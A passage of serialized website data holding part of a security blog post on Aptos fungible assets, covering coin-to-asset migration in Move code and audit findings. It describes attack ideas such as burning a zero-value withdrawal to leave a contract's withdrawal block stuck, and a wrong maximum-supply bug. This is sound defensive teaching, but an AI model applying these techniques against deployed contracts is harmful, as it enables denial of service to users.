,[68841],{"type":26,"value":323},{"type":21,"tag":153,"props":68843,"children":68844},{"style":160},[68845],{"type":26,"value":1670},{"type":21,"tag":153,"props":68847,"children":68848},{"style":192},[68849],{"type":26,"value":68272},{"type":21,"tag":153,"props":68851,"children":68852},{"style":198},[68853],{"type":26,"value":201},{"type":21,"tag":153,"props":68855,"children":68856},{"style":198},[68857],{"type":26,"value":206},{"type":21,"tag":153,"props":68859,"children":68860},{"style":214},[68861],{"type":26,"value":67718},{"type":21,"tag":153,"props":68863,"children":68864},{"style":160},[68865],{"type":26,"value":2071},{"type":21,"tag":153,"props":68867,"children":68868},{"style":198},[68869],{"type":26,"value":201},{"type":21,"tag":153,"props":68871,"children":68872},{"style":214},[68873],{"type":26,"value":63833},{"type":21,"tag":153,"props":68875,"children":68876},{"style":192},[68877],{"type":26,"value":10294},{"type":21,"tag":153,"props":68879,"children":68880},{"style":160},[68881],{"type":26,"value":4236},{"type":21,"tag":153,"props":68883,"children":68884},{"style":198},[68885],{"type":26,"value":12313},{"type":21,"tag":153,"props":68887,"children":68888},{"style":160},[68889],{"type":26,"value":64059},{"type":21,"tag":153,"props":68891,"children":68892},{"class":155,"line":776},[68893,68897,68901,68905],{"type":21,"tag":153,"props":68894,"children":68895},{"style":181},[68896],{"type":26,"value":68651},{"type":21,"tag":153,"props":68898,"children":68899},{"style":160},[68900],{"type":26,"value":189},{"type":21,"tag":153,"props":68902,"children":68903},{"style":170},[68904],{"type":26,"value":10901},{"type":21,"tag":153,"props":68906,"children":68907},{"style":160},[68908],{"type":26,"value":530},{"type":21,"tag":153,"props":68910,"children":68911},{"class":155,"line":795},[68912,68916,68920],{"type":21,"tag":153,"props":68913,"children":68914},{"style":160},[68915],{"type":26,"value":65011},{"type":21,"tag":153,"props":68917,"children":68918},{"style":198},[68919],{"type":26,"value":12313},{"type":21,"tag":153,"props":68921,"children":68922},{"style":160},[68923],{"type":26,"value":2941},{"type":21,"tag":153,"props":68925,"children":68926},{"class":155,"line":808},[68927,68931,68935,68939],{"type":21,"tag":153,"props":68928,"children":68929},{"style":181},[68930],{"type":26,"value":68686},{"type":21,"tag":153,"props":68932,"children":68933},{"style":160},[68934],{"type":26,"value":189},{"type":21,"tag":153,"props":68936,"children":68937},{"style":170},[68938],{"type":26,"value":3294},{"type":21,"tag":153,"props":68940,"children":68941},{"style":160},[68942],{"type":26,"value":530},{"type":21,"tag":153,"props":68944,"children":68945},{"class":155,"line":820},[68946,68950,68954,68958,68962,68966,68970,68974,68978,68982],{"type":21,"tag":153,"props":68947,"children":68948},{"style":160},[68949],{"type":26,"value":68254},{"type":21,"tag":153,"props":68951,"children":68952},{"style":198},[68953],{"type":26,"value":265},{"type":21,"tag":153,"props":68955,"children":68956},{"style":181},[68957],{"type":26,"value":68263},{"type":21,"tag":153,"props":68959,"children":68960},{"style":160},[68961],{"type":26,"value":189},{"type":21,"tag":153,"props":68963,"children":68964},{"style":192},[68965],{"type":26,"value":68272},{"type":21,"tag":153,"props":68967,"children":68968},{"style":160},[68969],{"type":26,"value":1670},{"type":21,"tag":153,"props":68971,"children":68972},{"style":192},[68973],{"type":26,"value":8670},{"type":21,"tag":153,"props":68975,"children":68976},{"style":160},[68977],{"type":26,"value":1670},{"type":21,"tag":153,"props":68979,"children":68980},{"style":192},[68981],{"type":26,"value":23000},{"type":21,"tag":153,"props":68983,"children":68984},{"style":160},[68985],{"type":26,"value":5909},{"type":21,"tag":153,"props":68987,"children":68988},{"class":155,"line":842},[68989],{"type":21,"tag":153,"props":68990,"children":68991},{"style":160},[68992],{"type":26,"value":548},{"type":21,"tag":22,"props":68994,"children":68995},{},[68996],{"type":26,"value":68997},"At first glance, this code appears valid, but not to an astute reader.",{"type":21,"tag":68479,"props":68999,"children":69000},{},[69001,69006],{"type":21,"tag":22,"props":69002,"children":69003},{},[69004],{"type":26,"value":69005},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":21,"tag":68510,"props":69007,"children":69008},{"v-slot:answer-0":7},[69009,69029],{"type":21,"tag":22,"props":69010,"children":69011},{},[69012,69014,69019,69021,69027],{"type":26,"value":69013},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":21,"tag":78,"props":69015,"children":69017},{"className":69016},[],[69018],{"type":26,"value":63804},{"type":26,"value":69020}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":21,"tag":78,"props":69022,"children":69024},{"className":69023},[],[69025],{"type":26,"value":69026},"fungible_asset::destroy_zero",{"type":26,"value":69028},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":21,"tag":22,"props":69030,"children":69031},{},[69032],{"type":26,"value":69033},"It's important to understand all the features in the standard.",{"type":21,"tag":66,"props":69035,"children":69037},{"id":69036},"migrating-from-coins-to-fungible-assets",[69038],{"type":26,"value":69039},"Migrating from coins to fungible assets",{"type":21,"tag":22,"props":69041,"children":69042},{},[69043,69045,69050],{"type":26,"value":69044},"If a fungible asset is considered an upgrade to ",{"type":21,"tag":78,"props":69046,"children":69048},{"className":69047},[],[69049],{"type":26,"value":63259},{"type":26,"value":69051},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":21,"tag":69053,"props":69054,"children":69055},"note",{},[69056],{"type":21,"tag":22,"props":69057,"children":69058},{},[69059,69061,69066,69068,69073],{"type":26,"value":69060},"While the ",{"type":21,"tag":78,"props":69062,"children":69064},{"className":69063},[],[69065],{"type":26,"value":63259},{"type":26,"value":69067}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":21,"tag":78,"props":69069,"children":69071},{"className":69070},[],[69072],{"type":26,"value":63259},{"type":26,"value":355},{"type":21,"tag":22,"props":69075,"children":69076},{},[69077,69078,69084,69086,69091,69093,69098],{"type":26,"value":19311},{"type":21,"tag":78,"props":69079,"children":69081},{"className":69080},[],[69082],{"type":26,"value":69083},"coin_to_fungible_asset",{"type":26,"value":69085}," converting function automatically generates a corresponding fungible asset for a ",{"type":21,"tag":78,"props":69087,"children":69089},{"className":69088},[],[69090],{"type":26,"value":63259},{"type":26,"value":69092}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":21,"tag":78,"props":69094,"children":69096},{"className":69095},[],[69097],{"type":26,"value":63259},{"type":26,"value":69099}," is not allowed.",{"type":21,"tag":143,"props":69101,"children":69103},{"className":145,"code":69102,"language":147,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    fungible_asset::mint_internal(metadata, amount)\n}\n",[69104],{"type":21,"tag":78,"props":69105,"children":69106},{"__ignoreMap":7},[69107,69135,69162,69198,69231,69264,69300],{"type":21,"tag":153,"props":69108,"children":69109},{"class":155,"line":156},[69110,69114,69118,69123,69127,69131],{"type":21,"tag":153,"props":69111,"children":69112},{"style":192},[69113],{"type":26,"value":63968},{"type":21,"tag":153,"props":69115,"children":69116},{"style":192},[69117],{"type":26,"value":8936},{"type":21,"tag":153,"props":69119,"children":69120},{"style":192},[69121],{"type":26,"value":69122}," coin_to_fungible_asset",{"type":21,"tag":153,"props":69124,"children":69125},{"style":160},[69126],{"type":26,"value":8537},{"type":21,"tag":153,"props":69128,"children":69129},{"style":214},[69130],{"type":26,"value":9313},{"type":21,"tag":153,"props":69132,"children":69133},{"style":160},[69134],{"type":26,"value":9318},{"type":21,"tag":153,"props":69136,"children":69137},{"class":155,"line":166},[69138,69142,69146,69150,69154,69158],{"type":21,"tag":153,"props":69139,"children":69140},{"style":192},[69141],{"type":26,"value":63478},{"type":21,"tag":153,"props":69143,"children":69144},{"style":198},[69145],{"type":26,"value":201},{"type":21,"tag":153,"props":69147,"children":69148},{"style":214},[69149],{"type":26,"value":8532},{"type":21,"tag":153,"props":69151,"children":69152},{"style":160},[69153],{"type":26,"value":8537},{"type":21,"tag":153,"props":69155,"children":69156},{"style":214},[69157],{"type":26,"value":9313},{"type":21,"tag":153,"props":69159,"children":69160},{"style":160},[69161],{"type":26,"value":4308},{"type":21,"tag":153,"props":69163,"children":69164},{"class":155,"line":225},[69165,69169,69173,69177,69181,69186,69190,69194],{"type":21,"tag":153,"props":69166,"children":69167},{"style":160},[69168],{"type":26,"value":2071},{"type":21,"tag":153,"props":69170,"children":69171},{"style":198},[69172],{"type":26,"value":201},{"type":21,"tag":153,"props":69174,"children":69175},{"style":214},[69176],{"type":26,"value":63833},{"type":21,"tag":153,"props":69178,"children":69179},{"style":192},[69180],{"type":26,"value":10294},{"type":21,"tag":153,"props":69182,"children":69183},{"style":214},[69184],{"type":26,"value":69185}," CoinConversionMap",{"type":21,"tag":153,"props":69187,"children":69188},{"style":160},[69189],{"type":26,"value":1670},{"type":21,"tag":153,"props":69191,"children":69192},{"style":214},[69193],{"type":26,"value":9443},{"type":21,"tag":153,"props":69195,"children":69196},{"style":160},[69197],{"type":26,"value":236},{"type":21,"tag":153,"props":69199,"children":69200},{"class":155,"line":239},[69201,69205,69210,69214,69219,69223,69227],{"type":21,"tag":153,"props":69202,"children":69203},{"style":170},[69204],{"type":26,"value":629},{"type":21,"tag":153,"props":69206,"children":69207},{"style":192},[69208],{"type":26,"value":69209}," metadata",{"type":21,"tag":153,"props":69211,"children":69212},{"style":198},[69213],{"type":26,"value":255},{"type":21,"tag":153,"props":69215,"children":69216},{"style":192},[69217],{"type":26,"value":69218}," ensure_paired_metadata",{"type":21,"tag":153,"props":69220,"children":69221},{"style":160},[69222],{"type":26,"value":8537},{"type":21,"tag":153,"props":69224,"children":69225},{"style":214},[69226],{"type":26,"value":9313},{"type":21,"tag":153,"props":69228,"children":69229},{"style":160},[69230],{"type":26,"value":11178},{"type":21,"tag":153,"props":69232,"children":69233},{"class":155,"line":382},[69234,69238,69243,69247,69252,69256,69260],{"type":21,"tag":153,"props":69235,"children":69236},{"style":170},[69237],{"type":26,"value":629},{"type":21,"tag":153,"props":69239,"children":69240},{"style":192},[69241],{"type":26,"value":69242}," amount",{"type":21,"tag":153,"props":69244,"children":69245},{"style":198},[69246],{"type":26,"value":255},{"type":21,"tag":153,"props":69248,"children":69249},{"style":181},[69250],{"type":26,"value":69251}," burn_internal",{"type":21,"tag":153,"props":69253,"children":69254},{"style":160},[69255],{"type":26,"value":189},{"type":21,"tag":153,"props":69257,"children":69258},{"style":192},[69259],{"type":26,"value":63226},{"type":21,"tag":153,"props":69261,"children":69262},{"style":160},[69263],{"type":26,"value":530},{"type":21,"tag":153,"props":69265,"children":69266},{"class":155,"line":501},[69267,69271,69275,69280,69284,69288,69292,69296],{"type":21,"tag":153,"props":69268,"children":69269},{"style":160},[69270],{"type":26,"value":68254},{"type":21,"tag":153,"props":69272,"children":69273},{"style":198},[69274],{"type":26,"value":265},{"type":21,"tag":153,"props":69276,"children":69277},{"style":181},[69278],{"type":26,"value":69279},"mint_internal",{"type":21,"tag":153,"props":69281,"children":69282},{"style":160},[69283],{"type":26,"value":189},{"type":21,"tag":153,"props":69285,"children":69286},{"style":192},[69287],{"type":26,"value":64605},{"type":21,"tag":153,"props":69289,"children":69290},{"style":160},[69291],{"type":26,"value":1670},{"type":21,"tag":153,"props":69293,"children":69294},{"style":192},[69295],{"type":26,"value":23000},{"type":21,"tag":153,"props":69297,"children":69298},{"style":160},[69299],{"type":26,"value":5909},{"type":21,"tag":153,"props":69301,"children":69302},{"class":155,"line":533},[69303],{"type":21,"tag":153,"props":69304,"children":69305},{"style":160},[69306],{"type":26,"value":548},{"type":21,"tag":22,"props":69308,"children":69309},{},[69310,69312,69319],{"type":26,"value":69311},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":21,"tag":29,"props":69313,"children":69316},{"href":69314,"rel":69315},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[33],[69317],{"type":26,"value":69318},"noticed an overlooked detail",{"type":26,"value":69320}," in the linking process.",{"type":21,"tag":143,"props":69322,"children":69324},{"className":145,"code":69323,"language":147,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    string::utf8(b\"\"),\n);\n[...]\n",[69325],{"type":21,"tag":78,"props":69326,"children":69327},{"__ignoreMap":7},[69328,69343,69363,69380,69436,69457,69477,69497,69527,69554,69561],{"type":21,"tag":153,"props":69329,"children":69330},{"class":155,"line":156},[69331,69335,69339],{"type":21,"tag":153,"props":69332,"children":69333},{"style":160},[69334],{"type":26,"value":211},{"type":21,"tag":153,"props":69336,"children":69337},{"style":198},[69338],{"type":26,"value":12313},{"type":21,"tag":153,"props":69340,"children":69341},{"style":160},[69342],{"type":26,"value":2941},{"type":21,"tag":153,"props":69344,"children":69345},{"class":155,"line":166},[69346,69350,69354,69359],{"type":21,"tag":153,"props":69347,"children":69348},{"style":160},[69349],{"type":26,"value":64902},{"type":21,"tag":153,"props":69351,"children":69352},{"style":198},[69353],{"type":26,"value":265},{"type":21,"tag":153,"props":69355,"children":69356},{"style":181},[69357],{"type":26,"value":69358},"create_primary_store_enabled_fungible_asset",{"type":21,"tag":153,"props":69360,"children":69361},{"style":160},[69362],{"type":26,"value":773},{"type":21,"tag":153,"props":69364,"children":69365},{"class":155,"line":225},[69366,69371,69376],{"type":21,"tag":153,"props":69367,"children":69368},{"style":198},[69369],{"type":26,"value":69370},"    &",{"type":21,"tag":153,"props":69372,"children":69373},{"style":192},[69374],{"type":26,"value":69375},"metadata_object_cref",{"type":21,"tag":153,"props":69377,"children":69378},{"style":160},[69379],{"type":26,"value":792},{"type":21,"tag":153,"props":69381,"children":69382},{"class":155,"line":239},[69383,69388,69392,69397,69401,69406,69410,69414,69419,69423,69427,69431],{"type":21,"tag":153,"props":69384,"children":69385},{"style":160},[69386],{"type":26,"value":69387},"    option",{"type":21,"tag":153,"props":69389,"children":69390},{"style":198},[69391],{"type":26,"value":265},{"type":21,"tag":153,"props":69393,"children":69394},{"style":181},[69395],{"type":26,"value":69396},"map",{"type":21,"tag":153,"props":69398,"children":69399},{"style":160},[69400],{"type":26,"value":189},{"type":21,"tag":153,"props":69402,"children":69403},{"style":192},[69404],{"type":26,"value":69405},"coin_supply",{"type":21,"tag":153,"props":69407,"children":69408},{"style":160},[69409],{"type":26,"value":8537},{"type":21,"tag":153,"props":69411,"children":69412},{"style":214},[69413],{"type":26,"value":9313},{"type":21,"tag":153,"props":69415,"children":69416},{"style":160},[69417],{"type":26,"value":69418},">(), ",{"type":21,"tag":153,"props":69420,"children":69421},{"style":198},[69422],{"type":26,"value":13136},{"type":21,"tag":153,"props":69424,"children":69425},{"style":192},[69426],{"type":26,"value":5834},{"type":21,"tag":153,"props":69428,"children":69429},{"style":198},[69430],{"type":26,"value":13136},{"type":21,"tag":153,"props":69432,"children":69433},{"style":160},[69434],{"type":26,"value":69435}," MAX_U128),\n",{"type":21,"tag":153,"props":69437,"children":69438},{"class":155,"line":382},[69439,69444,69448,69452],{"type":21,"tag":153,"props":69440,"children":69441},{"style":192},[69442],{"type":26,"value":69443},"    name",{"type":21,"tag":153,"props":69445,"children":69446},{"style":160},[69447],{"type":26,"value":8537},{"type":21,"tag":153,"props":69449,"children":69450},{"style":214},[69451],{"type":26,"value":9313},{"type":21,"tag":153,"props":69453,"children":69454},{"style":160},[69455],{"type":26,"value":69456},">(),\n",{"type":21,"tag":153,"props":69458,"children":69459},{"class":155,"line":501},[69460,69465,69469,69473],{"type":21,"tag":153,"props":69461,"children":69462},{"style":192},[69463],{"type":26,"value":69464},"    symbol",{"type":21,"tag":153,"props":69466,"children":69467},{"style":160},[69468],{"type":26,"value":8537},{"type":21,"tag":153,"props":69470,"children":69471},{"style":214},[69472],{"type":26,"value":9313},{"type":21,"tag":153,"props":69474,"children":69475},{"style":160},[69476],{"type":26,"value":69456},{"type":21,"tag":153,"props":69478,"children":69479},{"class":155,"line":533},[69480,69485,69489,69493],{"type":21,"tag":153,"props":69481,"children":69482},{"style":192},[69483],{"type":26,"value":69484},"    decimals",{"type":21,"tag":153,"props":69486,"children":69487},{"style":160},[69488],{"type":26,"value":8537},{"type":21,"tag":153,"props":69490,"children":69491},{"style":214},[69492],{"type":26,"value":9313},{"type":21,"tag":153,"props":69494,"children":69495},{"style":160},[69496],{"type":26,"value":69456},{"type":21,"tag":153,"props":69498,"children":69499},{"class":155,"line":542},[69500,69505,69509,69514,69518,69523],{"type":21,"tag":153,"props":69501,"children":69502},{"style":160},[69503],{"type":26,"value":69504},"    string",{"type":21,"tag":153,"props":69506,"children":69507},{"style":198},[69508],{"type":26,"value":265},{"type":21,"tag":153,"props":69510,"children":69511},{"style":181},[69512],{"type":26,"value":69513},"utf8",{"type":21,"tag":153,"props":69515,"children":69516},{"style":160},[69517],{"type":26,"value":189},{"type":21,"tag":153,"props":69519,"children":69520},{"style":671},[69521],{"type":26,"value":69522},"b\"\"",{"type":21,"tag":153,"props":69524,"children":69525},{"style":160},[69526],{"type":26,"value":679},{"type":21,"tag":153,"props":69528,"children":69529},{"class":155,"line":762},[69530,69534,69538,69542,69546,69550],{"type":21,"tag":153,"props":69531,"children":69532},{"style":160},[69533],{"type":26,"value":69504},{"type":21,"tag":153,"props":69535,"children":69536},{"style":198},[69537],{"type":26,"value":265},{"type":21,"tag":153,"props":69539,"children":69540},{"style":181},[69541],{"type":26,"value":69513},{"type":21,"tag":153,"props":69543,"children":69544},{"style":160},[69545],{"type":26,"value":189},{"type":21,"tag":153,"props":69547,"children":69548},{"style":671},[69549],{"type":26,"value":69522},{"type":21,"tag":153,"props":69551,"children":69552},{"style":160},[69553],{"type":26,"value":679},{"type":21,"tag":153,"props":69555,"children":69556},{"class":155,"line":776},[69557],{"type":21,"tag":153,"props":69558,"children":69559},{"style":160},[69560],{"type":26,"value":530},{"type":21,"tag":153,"props":69562,"children":69563},{"class":155,"line":795},[69564,69568,69572],{"type":21,"tag":153,"props":69565,"children":69566},{"style":160},[69567],{"type":26,"value":211},{"type":21,"tag":153,"props":69569,"children":69570},{"style":198},[69571],{"type":26,"value":12313},{"type":21,"tag":153,"props":69573,"children":69574},{"style":160},[69575],{"type":26,"value":2941},{"type":21,"tag":22,"props":69577,"children":69578},{},[69579,69581,69586],{"type":26,"value":69580},"When the linked fungible asset was created, the current ",{"type":21,"tag":78,"props":69582,"children":69584},{"className":69583},[],[69585],{"type":26,"value":63259},{"type":26,"value":69587}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":21,"tag":22,"props":69589,"children":69590},{},[69591,69593,69598,69600,69606,69608,69613],{"type":26,"value":69592},"Users can manually migrate their ",{"type":21,"tag":78,"props":69594,"children":69596},{"className":69595},[],[69597],{"type":26,"value":63421},{"type":26,"value":69599}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":21,"tag":78,"props":69601,"children":69603},{"className":69602},[],[69604],{"type":26,"value":69605},"\u003CCoinStore\u003CCoinType>>",{"type":26,"value":69607}," from the caller. All coins in the ",{"type":21,"tag":78,"props":69609,"children":69611},{"className":69610},[],[69612],{"type":26,"value":63421},{"type":26,"value":69614}," are exchanged and transferred to the new store during the migration.",{"type":21,"tag":143,"props":69616,"children":69618},{"className":145,"code":69617,"language":147,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[69619],{"type":21,"tag":78,"props":69620,"children":69621},{"__ignoreMap":7},[69622,69630,69662,69682,69718,69759],{"type":21,"tag":153,"props":69623,"children":69624},{"class":155,"line":156},[69625],{"type":21,"tag":153,"props":69626,"children":69627},{"style":3050},[69628],{"type":26,"value":69629},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":21,"tag":153,"props":69631,"children":69632},{"class":155,"line":166},[69633,69637,69641,69645,69650,69654,69658],{"type":21,"tag":153,"props":69634,"children":69635},{"style":192},[69636],{"type":26,"value":63968},{"type":21,"tag":153,"props":69638,"children":69639},{"style":192},[69640],{"type":26,"value":64935},{"type":21,"tag":153,"props":69642,"children":69643},{"style":192},[69644],{"type":26,"value":8936},{"type":21,"tag":153,"props":69646,"children":69647},{"style":192},[69648],{"type":26,"value":69649}," migrate_to_fungible_store",{"type":21,"tag":153,"props":69651,"children":69652},{"style":160},[69653],{"type":26,"value":8537},{"type":21,"tag":153,"props":69655,"children":69656},{"style":214},[69657],{"type":26,"value":9313},{"type":21,"tag":153,"props":69659,"children":69660},{"style":160},[69661],{"type":26,"value":9318},{"type":21,"tag":153,"props":69663,"children":69664},{"class":155,"line":225},[69665,69669,69673,69677],{"type":21,"tag":153,"props":69666,"children":69667},{"style":192},[69668],{"type":26,"value":27869},{"type":21,"tag":153,"props":69670,"children":69671},{"style":198},[69672],{"type":26,"value":201},{"type":21,"tag":153,"props":69674,"children":69675},{"style":198},[69676],{"type":26,"value":206},{"type":21,"tag":153,"props":69678,"children":69679},{"style":192},[69680],{"type":26,"value":69681},"signer\n",{"type":21,"tag":153,"props":69683,"children":69684},{"class":155,"line":239},[69685,69689,69693,69697,69701,69706,69710,69714],{"type":21,"tag":153,"props":69686,"children":69687},{"style":160},[69688],{"type":26,"value":2362},{"type":21,"tag":153,"props":69690,"children":69691},{"style":192},[69692],{"type":26,"value":9073},{"type":21,"tag":153,"props":69694,"children":69695},{"style":214},[69696],{"type":26,"value":63442},{"type":21,"tag":153,"props":69698,"children":69699},{"style":160},[69700],{"type":26,"value":1670},{"type":21,"tag":153,"props":69702,"children":69703},{"style":214},[69704],{"type":26,"value":69705},"CoinConversionMap",{"type":21,"tag":153,"props":69707,"children":69708},{"style":160},[69709],{"type":26,"value":1670},{"type":21,"tag":153,"props":69711,"children":69712},{"style":214},[69713],{"type":26,"value":9443},{"type":21,"tag":153,"props":69715,"children":69716},{"style":160},[69717],{"type":26,"value":236},{"type":21,"tag":153,"props":69719,"children":69720},{"class":155,"line":382},[69721,69726,69730,69734,69739,69743,69747,69751,69755],{"type":21,"tag":153,"props":69722,"children":69723},{"style":192},[69724],{"type":26,"value":69725},"    maybe_convert_to_fungible_store",{"type":21,"tag":153,"props":69727,"children":69728},{"style":160},[69729],{"type":26,"value":8537},{"type":21,"tag":153,"props":69731,"children":69732},{"style":214},[69733],{"type":26,"value":9313},{"type":21,"tag":153,"props":69735,"children":69736},{"style":160},[69737],{"type":26,"value":69738},">(signer",{"type":21,"tag":153,"props":69740,"children":69741},{"style":198},[69742],{"type":26,"value":265},{"type":21,"tag":153,"props":69744,"children":69745},{"style":181},[69746],{"type":26,"value":9937},{"type":21,"tag":153,"props":69748,"children":69749},{"style":160},[69750],{"type":26,"value":189},{"type":21,"tag":153,"props":69752,"children":69753},{"style":192},[69754],{"type":26,"value":15670},{"type":21,"tag":153,"props":69756,"children":69757},{"style":160},[69758],{"type":26,"value":9951},{"type":21,"tag":153,"props":69760,"children":69761},{"class":155,"line":501},[69762],{"type":21,"tag":153,"props":69763,"children":69764},{"style":160},[69765],{"type":26,"value":548},{"type":21,"tag":22,"props":69767,"children":69768},{},[69769,69771,69776,69778,69783],{"type":26,"value":69770},"A curious reader might wonder about the fate of the ",{"type":21,"tag":78,"props":69772,"children":69774},{"className":69773},[],[69775],{"type":26,"value":63421},{"type":26,"value":69777}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":21,"tag":78,"props":69779,"children":69781},{"className":69780},[],[69782],{"type":26,"value":63421},{"type":26,"value":69784}," to ensure consistency.",{"type":21,"tag":68479,"props":69786,"children":69787},{},[69788,69807],{"type":21,"tag":22,"props":69789,"children":69790},{},[69791,69793,69798,69800,69805],{"type":26,"value":69792},"Could an attacker convert their ",{"type":21,"tag":78,"props":69794,"children":69796},{"className":69795},[],[69797],{"type":26,"value":63421},{"type":26,"value":69799}," to a primary fungible store and then register another ",{"type":21,"tag":78,"props":69801,"children":69803},{"className":69802},[],[69804],{"type":26,"value":63421},{"type":26,"value":69806}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":21,"tag":68510,"props":69808,"children":69809},{"v-slot:answer-0":7},[69810],{"type":21,"tag":22,"props":69811,"children":69812},{},[69813],{"type":26,"value":69814},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":21,"tag":66,"props":69816,"children":69817},{"id":5568},[69818],{"type":26,"value":5571},{"type":21,"tag":22,"props":69820,"children":69821},{},[69822,69824,69829],{"type":26,"value":69823},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":21,"tag":78,"props":69825,"children":69827},{"className":69826},[],[69828],{"type":26,"value":63259},{"type":26,"value":355},{"type":21,"tag":22,"props":69831,"children":69832},{},[69833],{"type":26,"value":69834},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":21,"tag":22,"props":69836,"children":69837},{},[69838,69840],{"type":26,"value":69839},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":21,"tag":18171,"props":69841,"children":69842},{},[69843],{"type":21,"tag":29,"props":69844,"children":69846},{"href":32318,"ariaDescribedBy":69845,"dataFootnoteRef":7,"id":32320},[18178],[69847],{"type":26,"value":3033},{"type":21,"tag":21119,"props":69849,"children":69851},{"className":69850,"dataFootnotes":7},[21122],[69852,69857],{"type":21,"tag":66,"props":69853,"children":69855},{"className":69854,"id":18178},[21127],[69856],{"type":26,"value":21130},{"type":21,"tag":126,"props":69858,"children":69859},{},[69860],{"type":21,"tag":91,"props":69861,"children":69862},{"id":33060},[69863,69865,69907],{"type":26,"value":69864},"There are at least four functions that can withdraw a fungible asset:",{"type":21,"tag":87,"props":69866,"children":69867},{},[69868,69878,69887,69897],{"type":21,"tag":91,"props":69869,"children":69870},{},[69871],{"type":21,"tag":29,"props":69872,"children":69876},{"href":69873,"rel":69874,":style":69875},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[33],"color: #007bff;",[69877],{"type":26,"value":66560},{"type":21,"tag":91,"props":69879,"children":69880},{},[69881],{"type":21,"tag":29,"props":69882,"children":69885},{"href":69883,"rel":69884,":style":69875},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[33],[69886],{"type":26,"value":68500},{"type":21,"tag":91,"props":69888,"children":69889},{},[69890],{"type":21,"tag":29,"props":69891,"children":69894},{"href":69892,"rel":69893,":style":69875},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[33],[69895],{"type":26,"value":69896},"primary_fungible_store::withdraw",{"type":21,"tag":91,"props":69898,"children":69899},{},[69900],{"type":21,"tag":29,"props":69901,"children":69904},{"href":69902,"rel":69903,":style":69875},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[33],[69905],{"type":26,"value":69906},"coin::withdraw",{"type":21,"tag":29,"props":69908,"children":69910},{"href":33088,"ariaLabel":21233,"className":69909,"dataFootnoteBackref":7},[21235],[69911],{"type":26,"value":21238},{"type":21,"tag":5603,"props":69913,"children":69914},{},[69915],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":69917},[69918,69919,69920,69923,69928,69929,69930,69931],{"id":63245,"depth":166,"text":63248},{"id":63790,"depth":166,"text":63793},{"id":64350,"depth":166,"text":64353,"children":69921},[69922],{"id":64861,"depth":225,"text":64864},{"id":65118,"depth":166,"text":65121,"children":69924},[69925,69926,69927],{"id":65161,"depth":225,"text":65164},{"id":65866,"depth":225,"text":65869},{"id":67524,"depth":225,"text":67527},{"id":68055,"depth":166,"text":68058},{"id":69036,"depth":166,"text":69039},{"id":5568,"depth":166,"text":5571},{"id":18178,"depth":166,"text":21130},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":69936,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":69937,"description":69938,"date":69939,"author":12,"image":69940,"isFeatured":16,"onBlogPage":16,"tags":69942,"body":69943,"_type":5619,"_id":71771,"_source":5621,"_file":71772,"_stem":71773,"_extension":5624},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on 